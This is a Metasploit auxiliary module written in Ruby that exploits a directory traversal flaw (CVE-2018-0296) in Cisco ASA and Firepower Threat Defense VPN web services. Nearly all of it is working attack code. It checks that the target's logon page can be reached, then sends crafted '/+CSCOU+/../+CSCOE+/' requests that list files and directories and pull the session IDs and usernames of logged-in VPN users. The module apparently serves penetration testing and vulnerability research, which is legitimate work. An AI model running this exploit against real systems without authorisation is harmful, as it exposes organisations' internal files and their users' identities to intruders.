Cisco ASA Directory Traversal

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco ASA Directory Traversal',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software.
        It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.
      },
      'Author'         => [ 'Michał Bentkowski',  # Discovery
                            'Yassine Aboukir',    # PoC
                            'Shelby Pace'         # Metasploit Module
                          ],
      'License'        => MSF_LICENSE,
      'References'     => [
                           [ 'CVE', '2018-0296' ],
                           [ 'EDB', '44956' ]
                          ],
      'DisclosureDate' => '2018-06-06'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path to Cisco installation', '/' ]),
        OptBool.new('SSL', [ true, 'Use SSL', true ]),
        Opt::RPORT(443)
      ])
  end

  def is_accessible?
    uri = normalize_uri(target_uri.path, '+CSCOE+/logon.html')

    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  uri
    )

    return (res && (res.body.include?("SSL VPN Service") || res.body.include?("+CSCOE+") || res.body.include?("+webvpn+") || res.body.include?("webvpnlogin")))
  end

  def list_files(path)
    uri = normalize_uri(target_uri.path, path)

    list_res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  uri
    )

    if list_res && list_res.code == 200
      if list_res.body.match(/\/{3}sessions/)
        get_sessions(list_res.body)
      else
        print_good(list_res.body)
      end
    end
  end

  def get_sessions(response)
    session_nos = response.scan(/([0-9]{2,})/)

    if session_nos.empty?
      print_status("Could not detect any sessions")
      print("\n")
      return
    end

    print_good(response)
    list_users(session_nos)
  end

  def list_users(sessions)
    sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'
    user_ids = Array.new

    sessions.each do |session_no|
      users_res = send_request_cgi(
        'method'  =>  'GET',
        'uri'     =>  normalize_uri(target_uri.path, sessions_uri, session_no)
      )

      if users_res && users_res.body.include?('name')
        user_ids.push(users_res.body.match(/user:(\w+)/).to_s)
      end
    end

    unless user_ids.empty?
      print_status('Users logged in:')
      user_ids.each { |id| print_good(id) }
      print("\n")
      return
    end

    print_status("There are no users logged in currently")
  end

  def run
    file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'
    sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'
    cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'

    paths = [file_uri, sessions_uri, cscoe_uri]

    unless is_accessible?
      fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')
    end

    paths.each { |path| list_files(path) }
  end
end